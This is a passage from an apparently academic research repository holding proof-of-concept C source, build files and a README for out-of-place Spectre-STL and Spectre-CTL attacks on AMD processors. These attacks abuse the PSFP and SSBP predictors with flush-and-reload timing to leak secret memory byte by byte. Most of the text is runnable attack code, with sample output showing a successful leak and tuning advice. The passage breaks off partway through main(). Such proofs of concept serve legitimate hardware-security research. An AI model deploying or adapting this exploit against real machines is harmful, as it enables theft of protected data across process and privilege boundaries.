clear result is found. 192 | rank_0_idx = -1, rank_1_idx = -1; 193 | for (int i = 0; i < 256; i ++) { 194 | if (rank_0_idx < 0 || results[i] >= results[rank_0_idx]) { 195 | rank_1_idx = rank_0_idx; 196 | rank_0_idx = i; 197 | } 198 | else if (rank_1_idx < 0 || results[i] >= results[rank_1_idx]) { 199 | rank_1_idx = i; 200 | } 201 | } 202 | if (results[rank_0_idx] >= (2 * results[rank_1_idx] + 5) || (results[rank_0_idx] == 3 && results[rank_1_idx] == 0)) 203 | break; 204 | } 205 | // The first and second best recoverd secret bytes. 206 | value[0] = (uint8_t)rank_0_idx; 207 | score[0] = results[rank_0_idx]; 208 | value[1] = (uint8_t)rank_1_idx; 209 | score[1] = results[rank_1_idx]; 210 | } 211 | 212 | /** 213 | * Search for collision based on our reverse engineering of SSBP. 214 | * The prime and probe function slides in executable_page_1 OR executable_page_2. We want the load inside the prime and probe function collides with the 1st load in the victim function (the prime function in executable_page_1) OR the 3rd load (the probe function in executable_page_2) in the victim function. 215 | * In specific, the hashed values of the physical address of the load are the same. 216 | * Since the address mapping is not available in user mode, we have to move the prime and probe function to change the physical address of the candidate load. 217 | * @param 218 | * - executable_page: address of the empty page where the prime OR probe function will be placed. 219 | - idx2_i: set aliased or non-aliased store-load pair in the victim space. 220 | * @return 221 | * - if the collision is found, return the offset of the entry to the start of executable_page; if not, return -1 222 | */ 223 | int fill_function(char* executable_page, int idx2_i) { 224 | // Two variables that store the timestamp. 225 | uint64_t time1, time2; 226 | // Entry of the prime and probe function, whose address is alterable. 227 | static void (*entry) (void*, void*); 228 | // Make the 1st OR 3rd load in the victim space aliased with the proceeding store. 229 | idx2 = idx2_i; 230 | // Execute the collision finding algorithm. 231 | for (int i = 0; i < EXE_PAGE_SIZE - bytes_num_for_base; ++ i) { 232 | // Step 1. Slide the prime and probe function to a new address. 233 | // Step 1.1. Set the new entry of prime and probe function. 234 | char* page_in_bytes = executable_page + i; 235 | // Step 1.2. Fill the machine code to a specific address. Note that the IVAs and IPAs of the store and load are adjustable. 236 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE) != 0) { 237 | printf("mprotect failed!\n"); 238 | return 0; 239 | } 240 | for (int i = 0; i < bytes_num_for_base; i ++) { 241 | *(page_in_bytes + i) = function_base[i]; 242 | } 243 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_EXEC) != 0) { 244 | printf("mprotect failed!\n"); 245 | return 0; 246 | } 247 | // Step 1.3. Make the function callable. 248 | entry = (void*) page_in_bytes; 249 | // Step 2. Test whether the collision happens. Try TRY_FOR_COLLISION times for each possible address. 250 | int success_1 = 0, success_2 = 0; 251 | for (int try = 0; try < TRY_FOR_COLLISION; ++ try) { 252 | // Step 2.1. Initialize the target entry of SSBP in the victim space. 253 | // The memory access sequence is (a 40n a 40n a 40n). 254 | for (int j = 0; j < 3; ++ j) { 255 | idx = 0; 256 | // Expand the transient window through cache misses. 257 | clflush(&idx); 258 | clflush(&idx_chain_0); 259 | clflush(&idx_chain_1); 260 | clflush(&idx_chain_2); 261 | mfence(); 262 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2); 263 | victim_function(); 264 | for (int k = 0; k < 40; ++ k) { 265 | idx = 1; 266 | clflush(&idx); 267 | mfence(); 268 | victim_function(); 269 | } 270 | } 271 | // Step 2.2. Update the SSBP entry in the victim space. 272 | // For the odd round, the SSBP entry is reset to reduce the noise. 273 | // For the even round, the SSBP entry is trained to predict as aliasing. 274 | idx = try & 1; 275 | clflush(&idx); 276 | clflush(&idx_chain_0); 277 | clflush(&idx_chain_1); 278 | clflush(&idx_chain_2); 279 | mfence(); 280 | // trigger an update of the SSBP 281 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2); 282 | victim_function(); 283 | // Step 3. Execute the candidate prime and probe funcion and timing the function. 284 | // Step 3.1. Execute the memory access sequence below (35n). 285 | for(int j = 0; j < 35; ++ j) { 286 | mfence(); 287 | time1 = gettime(); 288 | (*entry)(&array2[0], &array2[1]); 289 | mfence(); 290 | time2 = gettime() - time1; 291 | mfence(); 292 | timing[j] = time2; 293 | } 294 | // Step 3.2. Count the frequency of non-alised execution time. 295 | // The non-alised execution time is shorter than the aliased one, and we use TYPE_H_BOUND to distinguish them. 296 | int cnt_h = cnt_non_aliasing(timing, 35); 297 | // Step 3.3. For the odd round, the frequency should range from [34, 35] when the collision happens. 298 | success_1 += (try & 1) && cnt_h >= 34 ? 1 : 0; 299 | // Step 3.4. For the even round, the frequency should range from [19, 21] when the collision happens. 300 | success_2 += !(try & 1) && cnt_h >= 19 && cnt_h <= 21 ? 1 : 0; 301 | } 302 | // Step 4. Determine whether a collision occurs. 303 | // The judging threshold of success rate is 80% for the odd round and 80% for the even round. 304 | // Step 4.1. Find the collision and return the entry address (in the form of the offset from executable_page). 305 | if (success_1 >= TRY_FOR_COLLISION * 0.4 && success_2 >= TRY_FOR_COLLISION * 0.4) { // find the collision and exit 306 | printf("find offset as %d\n", i); 307 | return i; 308 | } 309 | // Step 4.2. The collision does not occur, continue. 310 | continue; 311 | } 312 | // If the collision cannot be found, return -1. 313 | printf("cannot find target, idx2 = %d\n", idx2_i); 314 | return -1; 315 | } 316 | 317 | int main(int argc, const char* * argv) { 318 | // Create plenty of pages to find the collision of SSBP. 319 | // Page number can be adjusted by modifying the macro PG_NUM. 320 | executable_page_1 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 321 | executable_page_2 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 322 | 323 | // Create address mapping for executable_page_1 and executable_page_2. 324 | for (int i = 0; i < EXE_PAGE_SIZE; i ++) { 325 | executable_page_1[i] ^= temp; 326 | executable_page_2[i] ^= temp; 327 | } 328 | 329 | // Create address mapping for array2. 330 | for (size_t i = 0; i < 256; i ++) 331 | array2[i] = 0; 332 | 333 | // Initialize the values for the collision finding algorithm. 334 | array2[0] = 0; 335 | array1[0] = 10; 336 | 337 | // Search SSBP collision address for the prime function. 338 | printf("Search offset of prime entry: "); 339 | int prime_entry_offset = fill_function(executable_page_1, 0); 340 | 341 | // Check search result. 342 | if (prime_entry_offset == -1) { 343 | printf("cannot find prime entry, quit.\n"); 344 | return 0; 345 | } 346 | prime_entry = (void*) executable_page_1 + prime_entry_offset; 347 | 348 | // Initialize the values for the collision finding algorithm. 349 | array2[10] = 0; 350 | array1[0] = 0; 351 | 352 | // Search SSBP collision address for the probe function. 353 | printf("Search offset of probe entry: "); 354 | int probe_entry_offset = fill_function(executable_page_2, 10); 355 | 356 | // Check search result. 357 | if (probe_entry_offset == -1) { 358 | printf("cannot find probe entry, quit.\n"); 359 | return 0; 360 | } 361 | probe_entry = (void*) executable_page_2 + probe_entry_offset; 362 | 363 | // Leak Secret through Spectre-CTL Attack, the framework is adapted from Eugnis' code. 364 | printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret)); 365 | size_t malicious_x = (size_t)(secret - (char *)array1), secret_base = (size_t)(secret); 366 | int score[2], len = LEAK_LEN; 367 | uint8_t value[2]; 368 | printf("Reading %d bytes:\n", len); 369 | while (-- len >= 0) { 370 | printf("Reading at address = 0x%lx... ", secret_base ++); 371 | leak(malicious_x ++, value, score); 372 | printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); 373 | printf("0x%02X='%c' score=%d ", value[0], 374 | (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 375 | if (score[1] > 0) 376 | printf("(second best: 0x%02X='%c' score=%d)", value[1], 377 | (value[1] > 31 && value[1] < 127 ? value[1] : '?'), 378 | score[1]); 379 | printf("\n"); 380 | } 381 | return (0); 382 | } -------------------------------------------------------------------------------- /Spectre-STL-ng/Makefile: -------------------------------------------------------------------------------- 1 | all: spectre-stl-ofp 2 | 3 | %: %.c 4 | $(CC) $< -o $@ 5 | 6 | clean: 7 | rm -f spectre-stl-ofp -------------------------------------------------------------------------------- /Spectre-STL-ng/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | In this Proof-of-Concept (PoC), we introduce the utilization of PSFP (Predictive Store Forwarding Predictor) to construct a novel variant of the Spectre-STL (aka Spectre V4) Attack, referred to as out-of-place Spectre-STL. 4 | 5 | Specifically, this PoC demonstrates that the PSFP can be effectively employed to trigger a transient window without relying on the branch predictor or a faulty load. In contrast to the conventional Spectre-STL Attack, where the training of the PSFP requires repeated execution of the same store-load instruction pair, we showcase that an aliasing store-load pair can also be used to train the PSFP effectively. This novel approach enhances our understanding of Spectre attacks and highlights the potential security implications associated with the PSFP. 6 | 7 | ## Note 8 | AMD has released a [document](https://www.amd.com/system/files/documents/security-analysis-predictive-store-forwarding.pdf) on the security analysis of AMD Predictive Store Forwarding (PSF) and stated that "it is possible that a store/load pair which does have a dependency may alias in the predictor with another store/load pair which does not." As far as we know, we are the first academic group to uncover the inner workings of PSF and to discover the method of training PSFP using an aliased store-load pair. This research provides valuable insights into the behavior and training of PSFP, contributing to a deeper understanding of its vulnerabilities and potential mitigation strategies. 9 | 10 | ## Build 11 | 12 | A C compiler is required. For example, we use gcc 9.4.0 with make 4.2.1. No specific kernel or package dependencies and installations are required. The executable file named `spectre-stl-ofp` can be built through a simple command: 13 | 14 | ```shell 15 | make 16 | ``` 17 | 18 | ## Run 19 | 20 | ```shell 21 | ./spectre-stl-ofp 22 | ``` 23 | 24 | Expected result is as follows: 25 | 26 | ``` 27 | Search offset of prime entry: 28 | Find collision offset as 31711 29 | Putting 'Leaky PSFP: An out-of-place Spectre-STL attack!' in memory, address 0x55da454ef008 30 | Reading 47 bytes: 31 | Reading at address = 0x55da454ef008... Success: 0x4C='L' score=3 32 | Reading at address = 0x55da454ef009... Success: 0x65='e' score=3 33 | Reading at address = 0x55da454ef00a... Success: 0x61='a' score=3 34 | Reading at address = 0x55da454ef00b... Success: 0x6B='k' score=3 35 | Reading at address = 0x55da454ef00c... Success: 0x79='y' score=7 (second best: 0x9E='?' score=1) 36 | Reading at address = 0x55da454ef00d... Success: 0x20=' ' score=3 37 | Reading at address = 0x55da454ef00e... Success: 0x50='P' score=3 38 | Reading at address = 0x55da454ef00f... Success: 0x53='S' score=3 39 | Reading at address = 0x55da454ef010... Success: 0x46='F' score=3 40 | Reading at address = 0x55da454ef011... Success: 0x50='P' score=3 41 | Reading at address = 0x55da454ef012... Success: 0x3A=':' score=3 42 | Reading at address = 0x55da454ef013... Success: 0x20=' ' score=3 43 | Reading at address = 0x55da454ef014... Success: 0x41='A' score=3 44 | Reading at address = 0x55da454ef015... Success: 0x6E='n' score=3 45 | Reading at address = 0x55da454ef016... Success: 0x20=' ' score=3 46 | Reading at address = 0x55da454ef017... Success: 0x6F='o' score=3 47 | Reading at address = 0x55da454ef018... Success: 0x75='u' score=3 48 | Reading at address = 0x55da454ef019... Success: 0x74='t' score=3 49 | Reading at address = 0x55da454ef01a... Success: 0x2D='-' score=7 (second best: 0x63='c' score=1) 50 | Reading at address = 0x55da454ef01b... Success: 0x6F='o' score=3 51 | Reading at address = 0x55da454ef01c... Success: 0x66='f' score=3 52 | Reading at address = 0x55da454ef01d... Success: 0x2D='-' score=3 53 | Reading at address = 0x55da454ef01e... Success: 0x70='p' score=3 54 | Reading at address = 0x55da454ef01f... Success: 0x6C='l' score=3 55 | Reading at address = 0x55da454ef020... Success: 0x61='a' score=3 56 | Reading at address = 0x55da454ef021... Success: 0x63='c' score=3 57 | Reading at address = 0x55da454ef022... Success: 0x65='e' score=3 58 | Reading at address = 0x55da454ef023... Success: 0x20=' ' score=3 59 | Reading at address = 0x55da454ef024... Success: 0x53='S' score=3 60 | Reading at address = 0x55da454ef025... Success: 0x70='p' score=3 61 | Reading at address = 0x55da454ef026... Success: 0x65='e' score=3 62 | Reading at address = 0x55da454ef027... Success: 0x63='c' score=3 63 | Reading at address = 0x55da454ef028... Success: 0x74='t' score=3 64 | Reading at address = 0x55da454ef029... Success: 0x72='r' score=3 65 | Reading at address = 0x55da454ef02a... Success: 0x65='e' score=3 66 | Reading at address = 0x55da454ef02b... Success: 0x2D='-' score=3 67 | Reading at address = 0x55da454ef02c... Success: 0x53='S' score=3 68 | Reading at address = 0x55da454ef02d... Success: 0x54='T' score=3 69 | Reading at address = 0x55da454ef02e... Success: 0x4C='L' score=3 70 | Reading at address = 0x55da454ef02f... Success: 0x20=' ' score=3 71 | Reading at address = 0x55da454ef030... Success: 0x61='a' score=3 72 | Reading at address = 0x55da454ef031... Success: 0x74='t' score=3 73 | Reading at address = 0x55da454ef032... Success: 0x74='t' score=3 74 | Reading at address = 0x55da454ef033... Success: 0x61='a' score=3 75 | Reading at address = 0x55da454ef034... Success: 0x63='c' score=3 76 | Reading at address = 0x55da454ef035... Success: 0x6B='k' score=3 77 | Reading at address = 0x55da454ef036... Success: 0x21='!' score=3 78 | ``` 79 | 80 | ### Note 81 | 82 | In the out-of-order Spectre-STL implementation, it can be more challenging to achieve successful results due to the intricate design of the access mechanism in PSFP. Specifically, both the store and load Instruction Physical Addresses (IPA) are utilized in calculating the hash tag, making it difficult to find an aliased store-load pair in some cases (which also indicates that PSFP is much safer than SSBP). When this occurs, the output will indicate the following: 83 | 84 | ``` 85 | Search offset of prime entry: 86 | Cannot find target. 87 | Cannot find prime entry, please try again. 88 | ``` 89 | 90 | To address this issue, we recommend the following solutions: 91 | 92 | - Attempt more iterations until a collision is found, increasing the chances of locating an aliased store-load pair. 93 | - Modify the `PG_NUM` macro in `config.h` to a larger size. After making this change, rebuild the program and try again. 94 | - Set the process affinity by executing `taskset -c ./spectre-stl-ng`. 95 | 96 | ## Configurable parameters 97 | 98 | Some configurable parameters are listed in file `config.h`. The parameters are divided into 2 categories. After modifying some of the parameters, please rebuild the PoC: 99 | 100 | ``` 101 | make clean & make 102 | ``` 103 | 104 | ### System parameters 105 | 106 | System parameters relate to the microarchitecture design and CPU frequency. There are 2 configurable system parameters in this PoC. 107 | 108 | #### TYPE_H_BOUND 109 | 110 | This judgment threshold is used to determine whether a non-aliased store-load pair is predicted as aliasing or non-aliasing. If the store-load pair is predicted as non-aliasing, the execution time is shorter; otherwise, the execution time is longer. 111 | 112 | For example, on AMD Ryzen 9 5900X with the following CPU frequency configuration, a feasible `TYPE_H_BOUND` is 190 (146 vs 205+). 113 | 114 | ``` 115 | CPU MHz: 2200.000 116 | CPU max MHz: 3700.0000 117 | CPU min MHz: 2200.0000 118 | ``` 119 | 120 | #### CACHE_HIT_THRESHOLD 121 | 122 | This judgment threshold is used to determine whether a load hits in the cache or not. If the load hits in the cache, the execution time is shorter; otherwise, the execution time is longer. A feasible `CACHE_HIT_THRESHOLD` is 230 in our experiment enviroment. 123 | 124 | ### Attack parameters 125 | 126 | Attack parameters relate to the attack performance, including success rate and leakage speed. Six parameters are configurable in this PoC. 127 | 128 | #### SECRET 129 | 130 | A string that is placed in the victim space. 131 | 132 | #### LEAK_LEN 133 | 134 | The lenght of bytes that will be leaked, which is suggested to be less than the length of the secret string. 135 | 136 | #### CACHE_ST 137 | 138 | Encoding granularity for Flush+Reload. The larger size will result in a better resolution, but requires a larger attacker-availble memory space. For more information, please refer to Flush+Reload Attack. 139 | 140 | #### TRY_FOR_LEAK 141 | 142 | Try times for secret leakage, which is 100 by dedault. 143 | 144 | #### TRY_FOR_COLLISION 145 | 146 | Try times for collision finding, which is 10 by dedault. 147 | 148 | #### PG_NUM 149 | 150 | Size of the empty executable page for code sliding, which is 8 by dedault. -------------------------------------------------------------------------------- /Spectre-STL-ng/config.h: -------------------------------------------------------------------------------- 1 | /* 2 | * System adjustable parameters. 3 | * These parameters relate to the microarchitecture design and CPU frequency. 4 | */ 5 | 6 | // Cache threshold, cache hit if time <= threshold. 7 | #define CACHE_HIT_THRESHOLD 230 8 | // PSFP threshold, PSFP predicts as non-aliasing if time <= threshold. 9 | #define TYPE_H_BOUND 190 10 | 11 | /* 12 | * Attack adjustable parameters. 13 | * These parameters relate to the attack performance, including success rate and leakage speed. 14 | */ 15 | 16 | // Secret in the victim space that is to be leaked. 17 | #define SECRET "Leaky PSFP: An out-of-place Spectre-STL attack!\0" 18 | // Leakage length. 19 | #define LEAK_LEN 47 20 | // Encoding granularity for Flush+Reload. 21 | #define CACHE_ST (1 << 10) 22 | // Try times for secret leakage. 23 | #define TRY_FOR_LEAK 100 24 | // Try times for collision finding. 25 | #define TRY_FOR_COLLISION 10 26 | // Try size for the prime and probe function. 27 | #define PG_NUM 8 28 | 29 | /* 30 | * Attack fixed parameters. 31 | * These parameters should not be modified. 32 | */ 33 | 34 | /** Prime and probe function in the machine code format. Assembly code is as follows: 35 | * movq $0, %rax 36 | * .rep 20 37 | * imul $1, %rdi 38 | * .endr 39 | * movq %rax, 0x0(%rdi) 40 | * movl 0x0(%rsi), %eax 41 | * .rep 20 42 | * imul $1, %eax 43 | * .endr 44 | * ret 45 | **/ 46 | #define PRIME_PROBE_FUNC 72, 199, 192, 0, 0, 0, 0, 72, 107, 255, 1, 72, 107, 255, 1,\ 47 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107,\ 48 | 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72,\ 49 | 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\ 50 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255,\ 51 | 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1, 72, 137, 7,\ 52 | 144, 139, 6, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 53 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 54 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 55 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\ 56 | 107, 192, 1, 195 57 | // Page size. 58 | #define PG_SIZE (1 << 12) 59 | // Size of search space for collision finding. 60 | #define EXE_PAGE_SIZE (PG_NUM * PG_SIZE) 61 | // We use instruction RDPRU to get the timestamp. 62 | #define RDPRU ".byte 0x0f, 0x01, 0xfd" -------------------------------------------------------------------------------- /Spectre-STL-ng/spectre-stl-ofp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | /* ======================= */ 9 | /* PoC Configuration. */ 10 | /* ======================= */ 11 | 12 | #include "config.h" 13 | 14 | /* ======================= */ 15 | /* Common address space. */ 16 | /* ======================= */ 17 | 18 | // Variables that are used both in attacker and victim space. 19 | uint8_t array1[64]; 20 | uint8_t array_padding[64]; 21 | long array2[256 * CACHE_ST] __attribute__ ((aligned (1024))); 22 | size_t idx, padding_0; 23 | uint8_t padding_1[64]; 24 | size_t idx_chain_0 = (size_t) &idx; 25 | uint8_t padding_1[64]; 26 | size_t idx_chain_1 = (size_t) &idx_chain_0; 27 | uint8_t padding_2[64]; 28 | size_t idx_chain_2 = (size_t) &idx_chain_1; 29 | 30 | /* ======================= */ 31 | /* Victim address space. */ 32 | /* ======================= */ 33 | 34 | // For an avaliable load. 35 | char* secret = SECRET; 36 | 37 | // For an non-optimized load. 38 | uint8_t temp = 0; 39 | 40 | void victim_function(size_t x) { 41 | // Delayed store, cause a prediction of PSFP. 42 | array2[idx * CACHE_ST] = x; 43 | /* Three loads: 44 | 1) load1 = array2[0]; 45 | 2) load2 = array1[load1]; 46 | 3) load3 = array2[load2 * CACHE_ST]. 47 | */ 48 | temp = array2[array1[array2[0]] * CACHE_ST]; 49 | } 50 | 51 | /* ======================= */ 52 | /* Attacker address space. */ 53 | /* ======================= */ 54 | 55 | // Prime and probe function in the machine code format. This code is used during fiding the PSFP collision, and slides in an executable page. The instruction address of this function increases one byte for each round of collision finding. 56 | uint8_t function_base[154] = { 57 | PRIME_PROBE_FUNC 58 | }; 59 | 60 | // Length of the machine bytes. 61 | int bytes_num_for_base = 154; 62 | 63 | // The page where the prime and probe function will be placed. 64 | static char* executable_page_1; 65 | 66 | // The declaration of psfp_handler function. This is the entry of the prime and probe function that in the machine code format in line 56. 67 | static void (*psfp_handler_entry) (void*, void*); 68 | 69 | // Record execution time of the prime and probe function. 70 | uint64_t timing[100]; 71 | 72 | /** 73 | * Memory fence. 74 | */ 75 | __attribute__((always_inline)) inline void mfence() { 76 | __asm__ volatile("mfence" ::: "memory"); 77 | } 78 | 79 | /** 80 | * Instruction fence. 81 | */ 82 | __attribute__((always_inline)) inline void lfence() { 83 | __asm__ volatile("lfence" ::: "memory"); 84 | } 85 | 86 | /** 87 | * Flush a specific cache line by a given address. 88 | * @param 89 | * - addr: the virtual address that needs to be flushed 90 | */ 91 | __attribute__((always_inline)) inline void clflush(void* addr) { 92 | __asm__ volatile("clflush (%0)" :: "r"(addr)); 93 | } 94 | 95 | /** 96 | * Get a timestamp on the CPU that executes the code. 97 | * @return 98 | * - the 64-bit timestamp 99 | */ 100 | __attribute__((always_inline)) inline size_t gettime(void) { 101 | unsigned long low_a, high_a; 102 | asm volatile(RDPRU 103 | : "=a" (low_a), "=d" (high_a) 104 | : "c" (1)); 105 | unsigned long aval = ((low_a) | (high_a) << 32); 106 | return aval; 107 | } 108 | 109 | /** 110 | * Analyse a given time record, return the count of speculative store bypass state. 111 | * @param 112 | * - timing: timestamp records, in the form of an array 113 | * - len: the length of timestamp array 114 | * @return 115 | * - the count of speculative store bypass state. 116 | */ 117 | int cnt_non_aliasing(uint64_t* timing, int len) { 118 | int cnt = 0; 119 | for(int i = 0; i < len; i ++) 120 | cnt += timing[i] <= TYPE_H_BOUND ? 1 : 0; 121 | return cnt; 122 | } 123 | 124 | /** 125 | * Leak secrets through out-of-place Spectre-STL attack. 126 | * We modify the code based on Spectre-V1 attack (https://github.com/Eugnis/spectre-attack). 127 | * @param 128 | * - malicious_x: the distance between secret byte and the base address of array1 129 | * - value: record the recovered byte for each round of try, each element ranges from 0 to 255 130 | * - score: count the recovered value for each round of try, each element ranges from 0 to TRY_FOR_LEAK 131 | **/ 132 | void leak(size_t malicious_x, uint8_t value[2], int score[2]) { 133 | // Temporal score board. 134 | static int results[256]; 135 | // Store the timestamp. 136 | register uint64_t time1, time2; 137 | // For flush and reload. 138 | uint8_t junk = 0; 139 | volatile uint8_t* addr; 140 | // For score board evaluation. 141 | int rank_0_idx, rank_1_idx, mix_i; 142 | // Reset the score board. 143 | for (int i = 0; i < 256; i ++) 144 | results[i] = 0; 145 | // Leak secrets through out-of-place Spectre-STL attack. 146 | for (int tries = TRY_FOR_LEAK; tries > 0; tries--) { 147 | // Prepare for Flush+Reload. 148 | for (int i = 0; i < 256; i ++) 149 | clflush(&array2[i * CACHE_ST]); 150 | // Initialize PSFP to ensure PSFP hit for the victim load. 151 | // The sequence used here is (a 40n a 40 n a 40n). 152 | for (int i = 0; i < 3; i ++) { 153 | (*psfp_handler_entry)(&array2[0], &array2[0]); 154 | for (int j = 0; j < 40; j ++) { 155 | mfence(); 156 | (*psfp_handler_entry)(&array2[0], &array2[0] + 10); 157 | } 158 | } 159 | // Prime PSFP entry, and train it to predict as aliasing and predictive store forwarding. 160 | // The sequence used here is (5a). 161 | for (int i = 0; i <= 4; i ++) { 162 | (*psfp_handler_entry)(&array2[0], &array2[0]); 163 | mfence(); 164 | } 165 | // Prepare an non-aliasing store-load pair for attack. 166 | idx = 10; 167 | array2[0] = 0; 168 | temp = array2[0]; 169 | // Delay the address generation of the store. 170 | clflush(&idx); 171 | // Wait for the cache flush. 172 | for (volatile int z = 0; z < 100; z ++) {} 173 | // Trigger a transient execution in the victim space. 174 | victim_function(malicious_x); 175 | // Reset PSFP for next round of leak. 176 | usleep(1); 177 | // Perform Flush+Reload. We use Eugnis' code here. 178 | for (int i = 0; i < 256; i ++) { 179 | mix_i = ((i * 167) + 13) & 255; 180 | addr = (uint8_t*) &array2[mix_i * CACHE_ST]; 181 | time1 = gettime(); 182 | lfence(); 183 | junk = *addr; 184 | lfence(); 185 | time2 = gettime() - time1; 186 | if (time2 <= CACHE_HIT_THRESHOLD && mix_i != 0x0a && mix_i != 0x00) 187 | results[mix_i] ++; 188 | } 189 | // Evaluate the score board, and perform an early-stop algorithm. 190 | rank_0_idx = -1, rank_1_idx = -1; 191 | for (int i = 0; i < 256; i ++) { 192 | if (rank_0_idx < 0 || results[i] >= results[rank_0_idx]) { 193 | rank_1_idx = rank_0_idx; 194 | rank_0_idx = i; 195 | } 196 | else if (rank_1_idx < 0 || results[i] >= results[rank_1_idx]) { 197 | rank_1_idx = i; 198 | } 199 | } 200 | if (results[rank_0_idx] >= (2 * results[rank_1_idx] + 5) || (results[rank_0_idx] == 3 && results[rank_1_idx] == 0)) 201 | break; 202 | } 203 | // The first and second best recoverd secret bytes. 204 | value[0] = (uint8_t)rank_0_idx; 205 | score[0] = results[rank_0_idx]; 206 | value[1] = (uint8_t)rank_1_idx; 207 | score[1] = results[rank_1_idx]; 208 | } 209 | 210 | /** 211 | * Search for collision based on our reverse engineering of PSFP. 212 | * The prime and probe function slides in executable_page_1. We want the store-load pair inside the prime and probe function collides with the store-load pair in the victim function. 213 | * In specific, the hashed values of the physical address of the two store-load pairs are the same. 214 | * Since the address mapping is not available in user mode, we have to move the prime and probe function to change the physical address of the candidate store-load pair. 215 | * @param 216 | * - executable_page: address of the empty page where the prime and probe function will be placed. 217 | * @return 218 | * - if the collision is found, return the offset of the entry to the start of executable_page; if not, return -1 219 | */ 220 | int search_for_collision(char* executable_page) { 221 | // Two variables that store the timestamp. 222 | uint64_t time1, time2; 223 | // Entry of the prime and probe function, whose address is alterable. 224 | static void (*entry) (void*, void*); 225 | // The memory access sequence (7n a 7n a 7n a 4a n 4a n 3a) that modifies the state of PSFP and SSBP. 226 | // 0 means non-aliased store-load pair(n), where the store and load target to different memory addresses; 227 | // 1 means aliasd store-load pair(a), where the store and load target to the same memory address. 228 | // After executing the sequence, the main counter of PSFP will be set to 5, while the main counter of SSBP will be set to 0. 229 | int initialize_ops[38] = {0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1}; 230 | int len_initialize_ops = 38; 231 | // Execute the collision finding algorithm. 232 | for (int i = EXE_PAGE_SIZE - bytes_num_for_base; i >= 0; i --) { 233 | // Step 1. Slide the prime and probe function to a new address. 234 | // Step 1.1. Set the new entry of prime and probe function. 235 | char* page_in_bytes = executable_page + i; 236 | printf("try offset: %-8d\r", i); 237 | fflush(stdout); 238 | // Step 1.2. Fill the machine code to a specific address. Note that the IVAs and IPAs of the store and load are adjustable. 239 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE) != 0) 240 | return -1; 241 | for (int i = 0; i < bytes_num_for_base; i ++) 242 | *(page_in_bytes + i) = function_base[i]; 243 | if (mprotect(executable_page, EXE_PAGE_SIZE, PROT_READ | PROT_EXEC) != 0) 244 | return -1; 245 | // Step 1.3. Make the function callable. 246 | entry = (void*) page_in_bytes; 247 | // Step 2. Test whether the collision happens. Try TRY_FOR_COLLISION times for each possible address. 248 | int success_1 = 0, success_2 = 0; 249 | for (int try = 0; try < TRY_FOR_COLLISION; try ++) { 250 | // Step 2.1. Execute the pre-defined memory access sequence in the victim space. 251 | // The PSFP and SSBP entries that the victim store-load pair choose are initialized. 252 | // PSFP now predicts the victim store-load pair as aliasing (a). 253 | for (int j = 0; j < len_initialize_ops; j ++) { 254 | idx = initialize_ops[j] == 1 ? 0 : 1; 255 | clflush(&idx); 256 | mfence(); 257 | victim_function(10); 258 | } 259 | // Step 2. For the odd round, the PSFP entry is reset to reduce the noise. 260 | // After execution the sequence below (40n), PSFP now predicts the pair as non-aliasing (n). 261 | if ((try & 1)) { 262 | for (int j = 0; j < 40; j ++) { 263 | idx = 1; 264 | clflush(&idx); 265 | mfence(); 266 | victim_function(10); 267 | } 268 | } 269 | // Step 3. Execute the candidate prime and probe funcion and timing the function. 270 | // Step 3.1. Execute the memory access sequence below (35n). 271 | for(int j = 0; j < 35; j ++) { // probe the SSBP 272 | mfence(); 273 | time1 = gettime(); // read timer 274 | (*entry)(&array2[0], &array2[1]); 275 | mfence(); 276 | time2 = gettime() - time1; // read timer & compute the elapse time 277 | mfence(); 278 | timing[j] = time2; 279 | } 280 | // Step 3.2. Count the frequency of non-alised execution time. 281 | // The non-alised execution time is shorter than the aliased one, and we use TYPE_H_BOUND to distinguish them. 282 | int cnt_h = cnt_non_aliasing(timing, 35); 283 | // Step 3.3. For the odd round, the frequency should range from [29, 32] when the collision happens. 284 | success_1 += (try & 1) && cnt_h >= 29 && cnt_h <= 32 ? 1 : 0; 285 | // Step 3.4. For the even round, the frequency should range from [3, 5] when the collision happens. 286 | success_2 += !(try & 1) && cnt_h >= 3 && cnt_h <= 5 ? 1 : 0; 287 | } 288 | // Step 4. Determine whether a collision occurs. 289 | // The judging threshold of success rate is 40% for the odd round and 60% for the even round. 290 | // Step 4.1. Find the collision and return the entry address (in the form of the offset from executable_page). 291 | if (success_1 >= TRY_FOR_COLLISION * 0.2 && success_2 >= TRY_FOR_COLLISION * 0.3) { 292 | printf("Find collision offset as %d\n", i); 293 | return i; 294 | } 295 | // Step 4.2. The collision does not occur, continue. 296 | continue; 297 | } 298 | // If the collision cannot be found, return -1. 299 | printf("Cannot find target.\n"); 300 | return -1; 301 | } 302 | 303 | int main() { 304 | // Create plenty of pages to find the collision of PSFP. 305 | 